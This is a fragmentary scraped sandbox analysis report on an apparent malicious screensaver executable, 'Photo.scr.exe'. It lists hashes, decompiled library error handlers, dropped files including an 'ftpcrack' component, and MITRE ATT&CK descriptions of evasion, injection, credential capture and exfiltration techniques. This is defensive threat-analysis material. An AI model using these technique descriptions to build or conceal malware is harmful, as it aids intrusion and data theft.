Instruction ID: 464f0db92dc8bc4a3a828ede623ffa9aa7c7083612fcbde95dcce5d1c6aaef56
Opcode Fuzzy Hash: bed97daf3c5b50e0ba997466c55de5c4a08913e7e6b78094c5e21c873f17e9a6
Instruction Fuzzy Hash: 4AD0A77491050063F50066BC5D4DD95B3045BC033EF180B10F23ADA2F0F638C466CA02

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7E80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16timeCOMMON

Download Yara Rule

APIs

VariantTimeToSystemTime.OLEAUT32 ref: 1E7A7E8E
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(VariantTimeToSystemTime,00000000), ref: 1E7A7E9E

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

Strings

VariantTimeToSystemTime, xrefs: 1E7A7E99

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$ErrorFromMessageTimeWin_$BuildCoreE__@@Err_Error@@FormatFreeLastLocalModule@@ObjectObject_String@@String_SystemValueVariant
String ID: VariantTimeToSystemTime
API String ID: 3868328766-2676162551
Opcode ID: f7b787d6cf7be4c79ecf884839bd8904334afdd48da64d58407a09cca3453c7e
Instruction ID: 63a79f8bf2bafc2be4b8ca9dad34d6ea96d76cfd0864b2d3fcef044f47aaf464
Opcode Fuzzy Hash: f7b787d6cf7be4c79ecf884839bd8904334afdd48da64d58407a09cca3453c7e
Instruction Fuzzy Hash: D0D0C7B5614045D7E300BB34FD4DA5BB65CDB94706F584A74F648C0158E732D934C765

Uniqueness

Uniqueness Score: -1.00%

Function 02761090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E02761090(intOrPtr _a4) {
				char _v1024;
				void* _t10;

				 *0x27691a0( &_v1024, "(originated from %s)", _a4);
				 *0x27692cc(GetLastError(), _t10 - 0x400 + 0xc);
				return 0;
			}

0x027610a5
0x027610b9
0x027610c7

APIs

GetLastError.KERNEL32 ref: 027610B2
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

Strings

(originated from %s), xrefs: 0276109F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_ErrorFilenameFromLastWindowsWith
String ID: (originated from %s)
API String ID: 3182726521-1804376747
Opcode ID: 90ebc86c18bbea48a8aa220eb38f96dac00a176d62a204c31ad63da4c74fada9
Instruction ID: 065d7c35bf2dbeae6bb34339dbab1ec829869e910dd703e8abc67caf9ed309b0
Opcode Fuzzy Hash: 90ebc86c18bbea48a8aa220eb38f96dac00a176d62a204c31ad63da4c74fada9
Instruction Fuzzy Hash: DED05EF1880300EFD714EBB4ED4D99B7BA8BB44A01F80CD18F756E1040EA79E528CA96

Uniqueness

Uniqueness Score: -1.00%

Function 02767090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0276712E,027659F6), ref: 0276709D
PyErr_WarnEx.PYTHON27(?,psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker,00000001), ref: 027670B7

Strings

psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker, xrefs: 02767090, 027670B1

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_ErrorLastWarn
String ID: psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker
API String ID: 2910580754-1400796036
Opcode ID: b9b31d02dc5e145a45a5337dade02b4d7a85b71a170c54699f0b48ee02384e95
Instruction ID: d0bcf3411693faaa16a6a639eb885105134508a189327d2c95bc0d0b90b5575c
Opcode Fuzzy Hash: b9b31d02dc5e145a45a5337dade02b4d7a85b71a170c54699f0b48ee02384e95
Instruction Fuzzy Hash: C8D0A7B0E90300CFE2195B15AE4DA273721E706308B048810FD03D3241D6B29060CA52

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist , and "net start" using Net , but adversaries may also use other tools as well. Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Photo.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI60842\Crypto.Cipher._AES.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\Include\pyconfig.h

C:\Users\user\AppData\Local\Temp\_MEI60842\Microsoft.VC90.CRT.manifest

C:\Users\user\AppData\Local\Temp\_MEI60842\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\_ssl.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\_win32sysloader.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg

C:\Users\user\AppData\Local\Temp\_MEI60842\bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI60842\certifi\cacert.pem

C:\Users\user\AppData\Local\Temp\_MEI60842\config.json

C:\Users\user\AppData\Local\Temp\_MEI60842\ftpcrack.exe.manifest

C:\Users\user\AppData\Local\Temp\_MEI60842\httplib2\cacerts.txt

Windows Analysis Report
Photo.scr.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre